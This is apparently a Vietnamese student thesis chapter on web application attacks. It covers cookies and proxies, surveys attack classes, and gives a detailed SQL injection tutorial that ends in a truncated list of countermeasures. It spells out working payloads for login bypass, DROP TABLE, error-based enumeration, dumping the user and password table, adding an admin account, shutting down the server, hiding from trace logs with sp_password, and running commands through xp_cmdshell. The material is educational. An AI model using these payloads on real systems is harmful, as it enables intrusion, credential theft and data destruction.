Thựcchất là đối với secure cookie thì trình chủ sẽ cung cấp chế độ truyền bảo mật. Các thành phầncủa một cookie gồm: Domain: Tên miền của trang web đã tạo cookie ( trong ví dụ trên Flag: mang giá trị TRUE/FALSE - Xác định các máy khác với cùng tên miền có được truy xuất đến cookie hay không. Path: Phạm vi các địa chỉ có thể truy xuấtcookie.Ví dụ: Nếu path là “/tracuu” thì các địa chỉ trong thư mục /tracuu cũng như tất cả các thư mục con của nó như /tracuu/baomat có thể truy xuất đến cookie này. Còn nếu giá tri là “/” thì cookie sẽ được truy xuấtbởitất cả địa chỉ thuộcmiềntrang web tạo cookie. Sercure: mang giá trị TRUE/FALSE - Xác định đây là một secure cookie hay không nghĩa là kết nối có sử dụng SSL hay không. Expiration:thời gian hết hạn của cookie, được tính bằng giây kể từ 00:00:00 giờ GMT ngày 01/01/1970. Nếu giá trị này không được thiết lập thì trình duyệt sẽ hiểu đây là non-persistent cookie và chỉ lưu trong bộ nhớ RAM và sẽ xoá nó khi trình duyệt bị đóng. Name:Tên biến (trong trường hợp này là Apache) 7. Value: Với cookie được tạo ở trên thì giá trị của Apache là 64.3.40.151.16018996349247480 và ngày hết hạn là 27/07/2006, của tên miền - Các cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫnCác cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫn là: C:\Program Files\Netscape\Users\UserName\Cookies.tx -Các cookies của IE được lưu thành nhiều tập tin, mỗi tập tin là một cookie và được đặt trong [C:]\Documents and Setting\[username]\Cookies (Win2000), đối với win9x, thư mục cookies nằm trong thư mục [C:]\Windows\cookies. -Kích thước tối đa của cookie là 4kb. Số cookie tối đa cho một tên miền là 20 cookie. Cookie bị hủy ngay khi đóng trình duyệt gọi là “ session cookie ”. Bạn cần biết về cài đặt cookie vì cookie có thể cho phép các trang web theo dõi điều hướng của bạn khi bạn truy cập vào các trang web đó. PROXY Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dụng sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng như trả lờicủa server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client. CHƯƠNG 3:CÁC KĨ THUẬT TẤN CÔNG ỨNG WEB CƠ BẢN A. Lý thuyết KIỂM SOÁT TRUY CẬP WEB (Web Access Control) Thâm nhập hệ thống qua cửa sau (Back door) Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể cài một “cửa sau” (back door) để sau này có thể thâm nhập vào hệ thống một cách dễ dàng. CHIẾM HỮU PHIÊN LÀM VIỆC(Session Mangement) Ấn định phiên làm việc (Session Fixation) Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằng cách gửi một session ID hợp lệ đến người dùng, sau khi người dùng đăng nhập vào hệ thống thành công, hacker sẽ dùng lại session ID đó và nghiễm nhiên trở thành người dùng hợp lệ. 2.2 Đánh cắp phiên làm việc (Session Hijacking) Là kĩ thuật tấn công cho phép hacker mạodanh người dùng hợp lệ sau khi nạn nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID của họ được lưu trữ trong cookie hay tham số URL, biến ẩn của form. 3 LỢI DỤNG THIẾU SÓT TRONG VIỆC KIỂM TRA DỮ LIỆU HỢP LỆ (INPUT VALIDATION) Hacker lợidụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho hệ thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn. 3.1 Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt (Client-Side validation) Do ngôn ngữ phía trình duyệt ( JavaScript, VBScript..) đuợc thực thi trên trình duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sự kiểm tra. 3.2 Tràn bộ đệm (Buffer OverFlow) Một khối lượng dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu được cấp phát khiến cho ứng dụng không thực thi được câu lệnh dự định kế tiếp mà thay vào đó phải thực thi một đoạn mã bất kì do hacker đưa vào hệ thống. Nghiêm trọng hơn nếu ứng dụng được cấu hình để thực thi với quyền root trên hệ thống. 3.3 Mã hoá URL (URL Encoding) Lợi dụng chuẩn mã hóa những kí tựđặc biệt trên URL mà hacker sẽ mã hoá tự động những kí tự bất hợp lệ-những kí tự bị kiểm tra bằng ngôn ngữ kịch bản-để vượt qua vòng kiểm soát này. 3.4 Kí tự Meta (Meta-characters Sử dụng những kí tự đặc biệt Hacker có thể chènthêm vào dữ liệu gửi những kí tự trong chuỗi câu lệnh như trong kĩ thuật XSS, ‘ -- trong SQL….để thực thi câu lệnh. 3.5 Vượt qua đường dẫn (Path Traversal): Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL để trả kết quả về cho trình duyệt mà hacker có thể lấy được nội dung tập tin bất kì trên hệ thống. 3.6 Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross- Site Scripting): Đây là kĩ thuật tấn công chủ yếu nhằm vào thông tin trên máy tính của người dùng hơn là vào hệ thống máy chủ. Bằng cách thêm một đoạn mã bất kì ( thường được lập trình bằng ngôn ngữ kịch bản như JavaScript, VBScript…), hacker có thể thực hiện việc đánh cắp thông tin quan trọng như cookie để từ đó trở thành người dùng hợp lệ của ứng dụng…dựa trên những thông tin đánh cắp này. Cross- Site scripting cũng là một kiểu tấn công “session hijacking”. 3.7 Thêm câu lệnh hệ thống (OS Command Injection) Khả năng thực thi được những câu lệnh hệ thống hay những đoạn mã được thêm vào trong những tham số mà không có sự kiểm tra chặt chẽ như tham số của form, cookies, yêu cầu HTTP Header, và những dữ liệu nguy hiểm trong những tập tin được đưa lên trình chủ. Thành công trong kĩ thuật này giúp hacker có thể thực thi được những câu lệnh hệ thống với cùng quyền của trình chủ. 3.8 Kí tự rỗng (Null Characters) Lợi dụng chuỗi kí tự thường kết thúc bằng \0 mà hacker thường thêm vào để đánh lừa ứng dụng vì với những ứng dụng sử dụng chương trình dịch như C++ thì C++ cho rằng \0 là dấu kết thúc chuỗi. Ví dụ: Hacker thêm chuỗi sau: Ô nhập: đề tài thứ nhất\0 alert(document.cookie) Nếu ứng dụng sử dụng chương trình C++ để kiểm tra tính đúng đắn của chuỗi thì chuỗi trên hợp lệ do C++ sẽ nhân biết “\0” là kết thúc chuỗi nên không kiểm tra. 3.9 Chèn câu truy vấn SQL (SQL Injection) Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề kiểm tra giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu truy vấn hay những giá trị không hợp lệ để dễ dàng đăng nhập vào hệ thống. 3.10 Ngôn ngữ phía máy chủ (Server side includes) Là khả năng thêm vào những câu lệnh thuộc hệ thống như nhúng file (include file), truy xuất cơ sở dữ liệu (jdbc)…khiến cho hacker có cơ hội truy xuất đến file, cơ sở dữ liệu…mà bình thường không thể xem được trên Web site. 3.11 Thao tác trên tham số truyền (Parameter manipulation) Những thông tin trao đổi giữa trình chủ và trình duyệt được lưu trữ trong những biến như biến trên URL, biến ẩn form, cookie…Bởi vì việc kiểm soát biến chưa được quan tâm đúng mức nên hacker có thể lợi dụng sửa đổi giá trị biến để đánh cắp phiên làm việc của người dùng hay thay đổi giá trị một món hàng…. 3.12 Từ chối dịch vụ (Denial of service (DoS)) Một khối lượng lớn yêu cầu được gửi cho ứng dụng trong một khoảng thời gian nhất định khiến hệ thống không đáp ứng kịp yêu cầu dẫn đến hệ thống bị phá vỡ. B, Các cách triển khai tấn công ứng dụng web Phần trước trong đồ án đã trình bày sơ lược về các cách tấn công ứng dụng web cơ bản. Phần này sẽ nói cụ thể hơn một số cách tấn cơn bản và phổ biến 1. Thao tác trên tham số Thao tác trên tham số truyền là kĩ thuật thay đổi thông tin quan trọng trên cookie, URLhay biến ẩn của form. Kĩ thuật Cross-Site Scripting, SessionID, SQL Injection, BufferOverflow…cũng cần dùng đến các tham số này để hoàn thiện các bước tấn công củahacker. Có thể nói các tham số truyền là đầu mối cho mọi hoạt động của hacker trong quá trình tấn công ứng dụng. Vì thế đây là nội dung chương đầu tiên được đề cập trong phần này , mục đích cũng là để hỗ trợ tốt hơn phần trình bày các phần kế tiếp. THAO TÁC TRÊN URL 1.1.1 Khái niệm Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai cách: GET hay POST. Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiện trong chuỗi URL. 1.1.2 Cách khắc phục Để chống lại kiểu thay đổi nội dung một chuỗi URL, ứng dụng có thể áp dụng biện pháp sau: ` • Ứng dụng sử dụng cơ chế bảng băm (hash table). Sau khi người dùng chứng thực thành công với một username , ứng dụng sẽ sinh ra một khoá tương ứng. Khoá này sẽ được lưu trên server cùng với biến username trong đối tượng bảng băm. Mỗi khi người dùng kết nối đến ứng dụng, khoá và username này sẽ được gửi đi và được so sánh với khoá và username trong bảng băm. Nếu tương ứng với bản ghi trong dữ liệu thì hợp lệ. Còn nếu không thì server biết rằng người dùng đã thay đổi URL. • Ngoài ra, với những thông tin có giá trị, cần mã hoá thông tin này trước khi cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý. 1.2. THAO TÁC TRÊN BIẾN ẨN FORM 1.2.1 Khái niệm Thông tin có thể được chuyển đổi thông qua một biến ẩn của form, gọi là Hidden Form Field. Biến ẩn form không hiển thị trên màn hình trình duyệt nhưng người dùng có thể tìm thấy nội dung của nó trong “ view source ”, vì thế đây là một điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trình duyệt, thay đổi nội dung trang và gửi đến trình chủ. Ngoài việc thay đổi nội dung biến ẩn của form, hacker còn biến đổi nội dung các thành phần trong form, như chiều dài của một ô nhập dữ liệu để thực hiện việc tấn công “BUFFER OVERFLOW”, … 1.2.2. Một số biện pháp khắc phục Chỉ nên sử dụng biến ẩn của form để hiển thị dữ liệu trên trình duyệt, không được sử dụng giá trị của biến để thao tác trong xử lí ứng dụng. Dùng biến HTTP_REFERER để kiểm tra nguồn gốc của yêu cầu gửi đến, tuy nhiên hacker có thể sử dụng Proxy để che dấu nguồn gốc thực của nó, vì vậy cũng không nên quá tin tưởng biến HTTP_REFERER để kiểm tra. Ghép tên và giá trị của biến ẩn thành một chuỗi đơn. Sử dụng thuật toán mã hoá MD5 hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đóvà lưu nó vào một hidden field gọi là “Chuỗi mẫu”. Khi giá trị trong form được gửi đi, các thao tác như trên được thực hiện lại với cùng một khoá mà ta định trước. Sau đó đem so sánh với“Chuỗi mẫu”, nếu chúng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đã bị thay đổi. Dùng một sessionID để tham chiếu đến thông tin được lưu trữ trên cơ sở dữ liệu. 2 Kĩ thuật tấn công SQL Injection 2.1 Dưới đây là kĩ thuật SQL injection đơn giản nhất Mục đích dùng để vượt qua các form đăng nhập. Ví dụ 1: giả sử ứng dụng web có đoạn mã sau: SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’” flag= GetQueryResult (SQLQuery) if flag = “” then check=FALSE else check=TRUE end if Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng User thì check=true ngược lại check=false. Giá tri nhập vào là: Username:’ OR ‘’=’ Password: ’ OR ‘’=’ Câu lệnh SQL lúc này như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND Password= ‘’ OR ‘’=’’ Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều kiện trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽ được chọn. Kết hợp với kí tự đặc biệt của SQL : • kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn • kí tự “--” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng Ví dụ 2: Username: ’; drop table User-- Password: Câu lệnh SQL lúc này như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table User-- AND Password= ‘” & tkPassword & “’” Với câu lệnh trên thì bảng User sẽ bị xóa hoàn toàn. Ví dụ 3: Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ thống như sau: Username : admin’-- Password : Câu lệnh SQL như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND Password= ‘” & tkPassword & “’” Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà không đòi hỏi password. 2.2. Tấn công dưa vào câu lệnh SELECT Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báo lỗi để lấy thông tin về bảng cũng như những trường trong bảng. Để làm được điều này, cần phải hiểu những thông báo lỗi và từ đóchỉnh sửa nội dung nhập cho phù hợp. Direct Injection là những đối số được thêm vào trong câu lệnh mà không nằm giữa những dấu nhấy đơn hay dấu ngoặc kép là trường hợp direct injection. Để vô hiệu hoá dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp đúng, chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi kí tự được chèn vào và ở cuối câu lệnh phải có một dấu nháy đơn, chẳng hạn như sau: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and ‘’=’’” Nếu đã thực hiện như trên mà thông báo lỗi có liên quan đến dấu“(“thì trong chuỗi chèn vào phải có “)”: Ví dụ 4: Giả sử: StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tName& “’”) Thì cú pháp hợp lệ như sau: StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’’) or ‘’=’’” Ngoài ra kí tự % thường được dùng trong những trường hợp tìm kiếm thông tin. Ví dụ 5:StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’” 2.3. Tấn công dựa vào câu lệnh HAVING HAVING sử dụng cùng chung với mệnh đề GROUP BY là phương pháp hữu hiệu để nhận thông tin bảng, trường… và sẽ được bàn sâu hơn trong phần 4. 2.4. Tấn công dựa vào câu lệnh kết hợp UNION Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE bằng cách chèn thêm UNION SELECT. Ví dụ 6: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’UNION SELECT tkPassword from User” Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với tkPassword trong bảng User. Ghi chú: • Số cột trong hai câu SELECT phảikhớp với nhau. Nghĩa là số lượng cột trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng nhau và cùng kiểu. Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết kiểu của mỗi trường. Sau đây là những ví dụ được thực hiện khi không biết nội dung cơ sở dữ liệu dựa vào HAVING, GROUP BY, UNION: Ví dụ 7: Nhắc lại câu truy vấn cần để đăng nhập: SQLQuery= “SELECT tkUsername,tkPassword FROM User WHER tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword& “’” Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu điều kiện “having” , như ví dụ sau: Giá trị nhập vào: Username:’having 1=1-- Lỗi phát sinh: [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'User.tkUsername'is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User và trong bảng tồn tại mộttrường tên là tkUsername. Sau đósử dụng GROUP BY: Ví dụ 8 Username: ‘group by User.tkUsername having 1=1-- Lỗi phát sinh: [Microsoft][ODBC SQL Server Driver][SQL Server] Column 'User.tkPassword' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Như vậy tkPassword là mộttrường của bảng User và được sử dụng trong câu truy vấn. Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng User tham gia vào câu truy vấn. Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng. Lúc này UNION được sử dụng: Ví dụ 9: Username:’union select sum(tkUsername) from User Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số. Nếu đối số không là kiểu số thì phát sinh lỗi như sau: [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operationcannot take a varchar data typeas an argument. Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu “varchar”. Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng. Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào bảng User. Ví dụ 10 Username:’ ; insert into User(tkUsername,tkPassword) values (‘admin’, ‘’)-- Hacker thêm nội dung như Ví dụ 6.III.4.2.4 bây giờ trở thành người quản trị mạng mà không cầnmật khẩu để chứng thực. Ví dụ 11: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong bảng User: • Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng mới là foo có một trường là ret bằng đoạn mã sau: create proc test as begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as ret into foo end Thực thi câu lệnh bằng cách nhập vào form. Username:’; Create proc test as begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as ret into foo • Bước 2: Gọi Stored procedure đó Sau khi đã tạo được stored procedure như trên, thực hiện lời gọi hàm: Username: ’;exec test • Bước 3: Dùng UNION để xem nội dung bảng foo Username:’; select ret,1 from foo union select 1,1 from foo Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error convertingthe varchar value ': admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu' To a column of data type int. Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên: tkUsername và mật khẩu tkPassword. • Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết: Username:‘; drop table foo-- Ví dụ 12: Còn đây là một cách khác để xác định nội dung của bảng User, còn một phương pháp tìm kiếm thông tin như sau: • Bước 1: Tìm tuần tự từng dòng trên bảng User Username:’union select 1,1 hoặc : Username: ’union select min(tkUsername),1 from User where tkUsername> ’a’-- Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' admin ' to a column of data type int. Người đầu tiên trong bảng User là “admin”. • Bước 2: Để biết các giá trị tiếp theo, nhập chuỗi sau: Username:’;select min(tkUsername),1 from User where tkUsername> ’admin’union select 1,1 from User Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax Error Converting the varchar value 'nhimmap' to a column of data type int. • Bước 3: Thực hiện như bước 2 cho ra kết quả là từng dòng với trường tkUsername trong bảng User. • Bước 4:Để biết thêm về tkPasswork, có thể thực hiện như sau: Username: ’;select tkPassword,1 from User where tkUsername=’admin’ union select 1,1 from User Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error Converting the varchar value ' passOfAdmin ' to a column of data type int. Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến bảng hệ thống INFORMATION_SCHEMA.TABLES. Ví dụ 13: select TABLE_NAME from INFORMATION_SCHEMA.TABLES INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Trường TABLE_NAME chứa tên của mỗi table trong cơ sở dữ liệu. SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='User' Câu lệnh trên đượcsử dụng để biết thông tin về cột trong bảng. Ngoài ra còn có thể dùng UNION để biếtcác biến môi trường của SQL Server. Ví dụ 14: Để biết ứng dụng đang chạy trên Server nào, có thể xác định bằng cách sau: Username: ’;select @@SERVERNAME union select 1 Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' KHOAI_NGU ' to a column of data type int. 2.5. Tấn công dựa vào lệnh INSERT Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử dụng, guestbook…v..v… Kĩ thuật “;”, “--“ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm bảo đúng số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp (nếu không xác định được kiểu dữ liệu có thể nhập tất cả là số). Ví dụ 15: SQLString= “INSERT INTO User VALUES (‘” & strUsername & “’, ‘” & strName& “’, ‘” & strPassWord & “’,’”& strLimitSize & “’)” 2.6 Tấn công dưa vào STORED PROCEDURE Stored Procedure được sử dụng trong lập trình Web với mục đích giảm sự phức tạp trong ứng dụng và tránh sự tấn công trong kĩ thuật SQL Injection. Tuy nhiên hacker vẫn có thể lợi dụng những Stored Procedure để tấn công vào hệ thống. Ví dụ 16: Stored procedure sp_login gồm hai tham số là username và password. Nếu nhập: Username: nhimmap Password: ‘;shutdown-- Lệnh gọi stored procedure như sau: exec sp_login ‘nhimmap’,‘’;shutdown--’ Lệnh shutdown thực hiện dừng SQL Server ngay lập tức. 2.7. Một số kĩ thuật tấn công bổ xung 2.7.1 Chuỗi kí tự không có dấu nháy đơn Những nhà lập trình có thể bảo vệ ứng dụng của họ bằng cách loại bỏ tất cả dấu nháy, thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2 dấu nháy. Ví dụ 17 Function escape (input) Input=replace(input, “’”, “’’”) escape=input end function Rõ ràng là, nó ngăn chặn được tất cả những kiểu tấn công trên. Tuy nhiên nếu muốn tạo ra một chuỗi giá trị mà không dùng các dấu nháy, có thể dùng hàm “char()” như ví dụ sau: Ví dụ 18: INSERT into User VALUES(666, char(0x63) +char(0x68) +char(0x72) char(0x69) +char(0x73) ,char(0x63) +char(0x68) +char(0x72) +char(0x69) +char(0x73),0xffff) Ví dụ 19 trên tuy là một câu truy vấn không có dấu nháy đơn nào nhưng nó vẫn có thể insert chuỗi vào bảng, và tương đương với: INSERT into User VALUES( 666,’chris’,’chris’,255) Hacker cũng có thể chọn username , password là sốđểtránh dấu nháy như ví dụ sau: Ví dụ 20 INSERT into User VALUES( 667,123,123,0xffff) SQL server sẽ tự động chuyển từ số sang chuỗi. 2.7.2 Tấn công 2 tầng Mặc dù ứng dụng đã thay thế dấu nháy đơn nhưng vẫn còn khả năng bị chèn đoạn mã SQL . Ví dụ 21: Để đăng kí account trong ứng dụng, nhập username như sau: Username : admin'— Password: passofadmin Ứng dụng sẽ thay thế dấu nháy, kết quả trong câu insert sẽ như sau: INSERT into User VALUES(123, 'admin''--', 'password',0xffff) (nhưng trong cơ sở dữ liệu sẽ lưu là “ admin’-- “) Giả sử rằng ứng dụng cho phép người dùng thay đổi mật khẩu. Các đoạn mã ASP được thiết kế đảm bảo rằng người sử dụng phải nhập đúng mật khẩu cũ trước khi nhập mật khẩu mới. Đoạn mã như sau: username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") ); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'"; rso.open( sql, cn ); if (rso.EOF) {… Câu truy vấn thiết lập mật khẩu mới như sau: sql = "update users set password = '" + newpassword + "' where username= '" + rso("username") + "'" rso(“username”) chính là giá trị username có được câu truy vấn login và nó là admin’-- Câu truy vấn lúc này như saupdate users set password = 'password' where username = 'admin'--' Nhờ đó hacker có thể thay đổi mật khẩu của admin bằng giá trị của mình. Đây là 1 trường hợp còn tồn tại trong hầu hết những ứng dụng lớn ngày nay có sử dụng cơ chế loại bỏ dữ liệu. Giải pháp tốt nhất là loại bỏ những giá trị lỗi hơn là chỉnh sửa lại. Nhưng có một vấn đề là có một số ô nhập dữ liệu (như ô nhập tên) cho phép những kí tự này. Ví dụ: O’Brien. Cách tốt nhất để giải quyết vấn đề này là không cho phép nhập dấu nháy đơn. Nếu điều này không thể thựchiện được , thì loại bỏ và thay thế như trên. Trong trường hợp này, cách tốt nhất là đảm bảo tất cả dữ liệu được đưa vào câu truy vấn SQL (kể cả những giá trị trong cơ sở dữ liệu) phải được kiểm soát một cách chặt chẽ. Một số ứng dụng phòng chống việc thêm câu truy vấn từ người dùng bằng cách giới hạn chiều dài của ô nhập. Tuy nhiên, với giới hạn này thì một số kiểu tấn công không thể thực hiện được nhưng vẫn có chỗ hở để hacker lợi dụng. Ví dụ 22: Giả sử cả username và password đều bị giớihạn tối đa là 16 kí tự.Nhập: Username: aaaaaaaaaaaaaaa’ Password : ‘; shutdown-- Ứng dụng sẽ thay thế một dấu nháy đơn bằng hai dấu nháy đơn nhưng do chiều dài chuỗi bị giới hạn chỉ là 16 kí tự nên dấu nháy đơn vừa được thêm sẽbị xoá mất. Câu lệnh SQL như sau: Select * from users where username=’aaaaaaaaaaaaaaa’’ and password=’’’; shutdown—‘ kết quả là username trong câu lệnh có giá trị là: aaaaaaaaaaaaaaa’ and password=’ 2.7.3 Tránh sự kiểm soát: SQL server có một giao thức kiểm soát chặt chẽ bằng họ hàm sp_traceXXX, cho phép ghi nhân nhiều sự kiện xảy ra trong cơ sở dữ liệu. Đặc biệt là các sự kiện T-SQL, ghi nhận lại tất cả các câu lệnh SQL thực hiện trên Server. Nếu chế độ kiểm soát được bật thì tất cả các câu truy vấn SQL của hacker cũng bị ghi nhận và nhờ đó mà một người quản trị có thể kiểm soát những gì đang xảy ra và nhanh chóng tìm ra được giải pháp. Nhưng cũng có một cách để chống lại điều này, bằng cách thêm dòng “sp_password” vào câu lệnh T-SQL, vì khi gặp chuỗi này thì việc kiểm tra sẽ ghi nhậnnhư sau: -- ‘sp_password’ was found in the text of this event. -- The text has benn replaced with this comment for security reasons. ngay cả khi “sp_password” xuất hiện trong phần chú thích. Vì thế để dấu tất cả câu truy vấn tấn công, chỉ cần đơn giảnlà thêm: sp_password vào sau ‘--’ như sau: Username: admin’--sp_password 2.7.4 Dùng Extended Stored Procedure có sẵn trong hệ thống SQL Server Nếu cài SQL Server ở chế độ mặc định thì SQL Server chạy trên nền SYSTEM, tương đương mức truy cập ở Windows. Có thể dùng master..xp_cmdshell để thi hành lệnh từ xa: ; exec master..xp_cmdshell 'ping 10.10.1.2'-- Thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc. Dưới đây là một số extended stored procedure mà hacker thường hay sử dụng để thực thi những câu lệnh xem nội dung thông tin trong máy nạn nhân: Xp_availablemedia hiển thị những ổ đĩa hiện hành trên máy Xp_dirtree hiển thị tất cả các thư mục kể cả thư mục con Xp_loginconfig Lấy thông tin về chế độ bảo mật trên server Xp_makecab cho phép người sử dụng tạo các tập tin lưu trữ trên Server (hay bất cứ tập tin nào mà server có thể truy x 2.7.5. Dùng Extended Stored Procedure tự tạo Extended stored procedure API là một chương trình có một nhiệm vụ đơn giản là tạo ra một DLL extended stored porcedure chứa đựng đoạn mã nguy hiểm. Để đưa tập tin DLL lên Server có thể dùng các câu lệnh, hoặc các kĩ thuật giao tiếp khác nhau được thực hiện tự động, như là HTTP download và FTP script. Một khi tập tin DLL đã tồn tại trên máy chủ, thì hacker có thể tạo một extended stored procedure bằng dòng lệnh sau : Ví dụ 19: sp_addextendedproc ‘xp_webserver’, ‘c:\temp\xp_foo.dll’ Sau đó có thể thực thi nó như là thực thi extended stored procedure thông thường : exec xp_webserver Khi đã thực hiện xong, có thể xoá bằng lệnh sau: sp_dropextendedproc ‘xp_webserver’ Xp_ntsec_enumdomainliệt kê những domain mà server có thể truy vấn. Xp_terminate_process chấm dứt một tiến trình với tham số PID của nó. 2.7.6 Nhập tập tin văn bản vào bảng Dùng lệnh ‘bulk insert’, nhập dữ liệu từ một tập tin văn bản vào trong một bảng tạm thời. Ví dụ 24 tạo một bảng đơn giản như sau: create table foo (line varchar(8000)) Sau đó chạy câu lệnh bulk insert để chép dữ liệu từ tập tin vào bảng Ví dụ 25: bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp’ Nội dung trang process_login.asp có thể lấy về bằng cách dùng những kĩ thuật như trong Ví dụ 18. 2.7.7 CÁCH PHÒNG CHỐNG • Trong hầu hết trình duyệt, những kí tự nên được mã hoá trên địa chỉ URL trước khi được sử dụng. • Việc tấn công theo SQL Injection dựa vào những câu thông báo lỗi do đó việc phòng chống hay nhất vẫn là không cho hiển thị những thông điệp lỗi cho người dùng bằng cách thay thế những lỗi thông báo bằng 1 trang do người phát triển thiết kế mỗi khi lỗi xảy ra trên ứng dụng. • Kiểm tra kĩ giá trị nhập vào của người dùng, thay thế những kí tự như ‘ ; v..v.. • Hãy loại bỏ các kí tự meta như “ ' , " , / , \ , ; “ và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ: - dữ liệu nhập do người dùng đệ trình - các tham số từ URL - các giá trị từ cookie • Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi thực hiện câu truy vấnSQL, hoặc dùng ISNUMERIC để chắc chắn nó 